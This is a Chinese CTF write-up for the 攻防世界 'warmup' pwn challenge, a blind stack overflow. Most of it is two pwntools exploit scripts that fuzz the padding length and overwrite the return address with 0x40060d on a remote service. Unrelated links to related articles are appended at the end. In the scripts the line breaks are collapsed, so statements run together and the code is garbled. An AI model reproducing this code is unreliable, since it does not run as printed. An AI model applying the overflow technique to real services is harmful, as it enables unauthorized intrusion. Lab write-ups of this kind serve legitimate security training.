题目描述


这种题很有意思,只给了题目场景地址没有文件,让你盲打,类似于web中的盲注吧;


nc连接,给了 目标地址, 思路是:利用栈溢出覆盖,返回这个地址; 具体是溢出多少是不确定的,是P64(),还是 P32() 也是不确定的; 写个EXP逐渐试一下

from pwn import *
b = 0x40060d
for i in range(100):print(i)p = remote('111.200.241.244',49684)payload='a'*i+p64(b)p.recvuntil(">")p.sendline(payload)p.interactive()


得到了flag, 若P64() 没有得出答案的话,换成 P32再试一下;也可以设定适当的取值范围来减少时间;

也可以参考另外一种EXP比我这个复杂一点,但操作只有一步:

from pwn import *
b = 0x40060ddef fuzz(p, i, j):payload = 'a' * iif j==1:payload += p32(b)if j==2:payload += p64(b)p.recvuntil(">")p.sendline(payload)def main():for i in range(100):print(i)for j in range(1, 3):try:p = remote('111.200.241.244',45566)fuzz(p, i, j)print p.recv()   p.interactive()except:p.close()
main()

CTF(pwn)攻防世界warmup相关推荐

  1. 攻防世界warmup新人小白友好向详细解题过程

    攻防世界warmup新人小白详细解题过程 思路:查看网页源码发现提示信息,/source.php 进行代码审计 ,主要函数找出,PHP函数记住,自己构造PAYLOAD 声明:菜菜级的水平,解析有错的不 ...

  2. [CTF/网络安全]攻防世界unserialize3解题详析及php序列化反序列化实例讲解

    [CTF/网络安全]攻防世界unserialize3解题详析及php序列化反序列化实例讲解 _wakeup()及php序列化反序列化 序列化字符串结构分析 _wakeup()的利用 解题思路 伪属性数 ...

  3. [CTF/网络安全] 攻防世界 php_rce 解题详析

    [CTF/网络安全] 攻防世界 php_rce 解题详析 PHP REC ThinkPHP V5漏洞Payload 姿势 总结 PHP REC PHP RCE 指的是通过远程代码执行漏洞(Remote ...

  4. forgot [XCTF-PWN][高手进阶区]CTF writeup攻防世界题解系列13

    题目地址:forgot 本题是高手进阶区的第二题,恭喜大家已经进入高手行列!好假好假,哈哈哈! 废话不说,看看题目先 这个题目有很长的描述,但是都是废话,不去管他了. 照例下载附件,做下安全检查 ro ...

  5. 攻防世界-warmup详解

    1.进入题目的场景 只有一个表情,没有其他的信息,因此我们进行查看源码,发现source.php 2.访问source.php可以看的出来是代码审计 因此我们需要对其代码进行了解 <?phphi ...

  6. 【和小白一起练习CTF】攻防世界:web基础练习题(2)

    文章目录 1.simple_js 2.xff_referer 3.weak_auth 4.webshell 5.command_execution 6.simple_php 1.simple_js 题 ...

  7. 【web | CTF】攻防世界 wife_wife

    目录 步骤1:峰回路转 步骤2:JavaScript原型链污染 步骤3:fuzz测试 总结:题目意义 步骤1:峰回路转 对英语无感的我一开始没看到有个注册的提示,还以为暴力破解,看了一下题目才知道不需 ...

  8. 【CTF】攻防世界 如来十三掌

    计算步骤: 先利用与佛论禅网站(http://keyfc.net/bbs/tools/tudoucode.aspx)将原有的文字转化为MzkuM3gvMUAwnzuvn3cgozMlMTuvqzAen ...

  9. 【CTF】攻防世界 MISC 新手练习区 003-012详解

    目录 003 如来十三掌 004 give_you_flag 005 stegano 006 坚持60s 007 gif 008 掀桌子 009 ext3 010 SimpleRAR 011 base ...

最新文章

  1. Vue、angular等框架实现双向绑定的原理,核心机制是使用了Object.defineProperty
  2. ASP.NET Core 实战:基于 Dapper 扩展你的数据访问方法
  3. TableCellRenderer TableCellEditor(三)
  4. java公网对讲_【对讲机的那点事】选择公网对讲机你必须要知道使用的网络信号!...
  5. BZOJ 1088 扫雷
  6. 【GDSOI2019】滑稽二乘法【数据结构】【LCT】
  7. JixiPix Rip Studio入门教程:如何修改图层和背景样式?
  8. linux下的文件比对工具,Linux - 文件比对工具
  9. 迅雷下gho文件变成php,GHO格式文件转换成WIM格式文件
  10. 舆情传染病时空分析文献阅读笔记
  11. Android系统的JNI原理分析(四)- JNI的jni.h头文件
  12. MySQL的普通索引和唯一索引到底什么区别?
  13. 爬取上交所公司信息,根据公司股票代码获取公司注册地址以及地址的经纬度
  14. CY7C68013A在WIN7下64位的USB驱动程序安装过程
  15. Eclipse 介绍-配置-使用
  16. 【2021-07-26】JS逆向之某某西游藏宝阁
  17. 计算机多媒体应用技术ppt课件ppt,多媒体计算机技术原理及应用十二课件.ppt
  18. ubuntu qq 以及 词典
  19. 孕期饮食新理念——初光孕妇餐 让孕期营养更科学
  20. Excel公式-提取字符串中首次出现的数值

热门文章

  1. 【ECCV 2018】Facebook开发姿态转换模型,只需一张照片就能让它跳舞(视频)
  2. web 埋点实现原理了解一下
  3. 利用python来解析html
  4. 阿里云今日发布数据库产品HybridDB
  5. python requests库的简单使用
  6. Go语言TCP Socket编程
  7. angular2初入眼帘之-多components协作
  8. 正则表达式,VI,SED及shell编程2010-12-05
  9. new ext.toolbar控制按钮间距_按钮规范系列 - 「按钮尺寸」的设计详解
  10. 【转载】ABAP 字符串 ‘‘ || `` 区别